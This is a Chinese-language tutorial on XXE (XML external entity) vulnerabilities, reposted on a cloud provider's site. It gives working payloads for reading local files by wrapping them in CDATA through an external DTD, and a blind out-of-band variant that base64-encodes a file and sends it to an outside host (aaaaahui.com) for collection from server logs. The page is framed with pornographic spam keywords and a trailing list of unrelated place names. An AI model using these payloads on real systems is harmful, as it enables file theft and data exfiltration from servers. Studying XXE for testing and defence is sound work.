亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解XXE漏洞

發布時間:2021-11-23 18:00:35 來源:億速云 閱讀:163 作者:柒染 欄目:網絡管理

這篇文章給大家介紹如何理解XXE漏洞,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

讀取文件時有特殊符號

在讀取文件時,文件中包含"<,>,&"等這些特殊符號時,會被xml解析器解析,報錯從而導致讀取失敗,例如嘗試讀取以下文件

C:\test.txt

內容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

如何理解XXE漏洞

可以看到與讀system.ini不同,這里報錯了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符數據(Parsed Character Data)。

XML 解析器通常會解析 XML 文檔中所有的文本。

當某個 XML 元素被解析時,其標簽之間的文本也會被解析:

<message>此文本也會被解析</message>

解析器之所以這么做是因為 XML 元素可包含其他元素,就像這個例子中,其中的 <name>元素包含著另外的兩個元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器會把它分解為像這樣的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

術語 CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 會產生錯誤,因為解析器會把該字符解釋為新元素的開始。

"&" 也會產生錯誤,因為解析器會把該字符解釋為字符實體的開始。

某些文本,比如 JavaScript 代碼,包含大量 "<" 或 "&" 字符。為了避免錯誤,可以將腳本代碼定義為 CDATA。

CDATA 部分中的所有內容都會被解析器忽略。

CDATA 部分由 "<![CDATA[" 開始,由 "]]>" 結束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器會忽略 CDATA 部分中的所有內容。

關于 CDATA 部分的注釋:

CDATA 部分不能包含字符串 "]]>"。也不允許嵌套的 CDATA 部分。

標記 CDATA 部分結尾的 "]]>" 不能包含空格或折行。

我們的思路就是把讀取的文件放在CDATA中之后再調用,那么構造一個POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是還是讀不出來,如下圖:

如何理解XXE漏洞直接放正確的payload,然后再講解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]> 
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

如何理解XXE漏洞可以看到這個payload是可以成功讀取文件的,對比兩個payload

如何理解XXE漏洞

如何理解XXE漏洞

兩個payload的邏輯都是一樣的,不過第二個是調用的外部的dtd文檔就可以,這是因為在xml中,xml 解析器有個限制:不能在內部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內部參數實體引用。

無回顯xxe漏洞利用

現在很多xxe漏洞都是沒有回顯的,下面是再沒有回顯的時候可以的利用方式。

思路就是在沒有回顯的時候,我們將讀取的文件帶出來,舉一個例子就是,我們如果將/etc/passwd文件賦給實體test,那么我們在訪問http://www.aaaaahui.com/?%test時,我們服務器上的日志文件就會保存/etc/passwd的文件內容,下面進行實驗:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

&#x25是%的html實體編碼,因為在xml.dtd的實體中不能有%

實驗如下圖

如何理解XXE漏洞

查看日志文件

如何理解XXE漏洞

這里我們讀取的文件已經帶出來了,那么原理就是將文件賦給實體后帶著訪問我們的vps然后在日志文件中就能看到我們讀取的文件了。

關于如何理解XXE漏洞就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xxe
AI

绥中县| 米脂县| 慈利县| 绥化市| 浦东新区| 耒阳市| 定结县| 勐海县| 金乡县| 平湖市| 吐鲁番市| 桂平市| 苏尼特左旗| 宁夏| 江城| 商城县| 鞍山市| 津市市| 萨迦县| 鸡西市| 嘉祥县| 天门市| 石棉县| 棋牌| 万荣县| 佳木斯市| 岱山县| 平阴县| 颍上县| 长沙县| 泗洪县| 南涧| 望谟县| 英德市| 永清县| 民勤县| 尼木县| 普兰店市| 东辽县| 兴仁县| 大城县|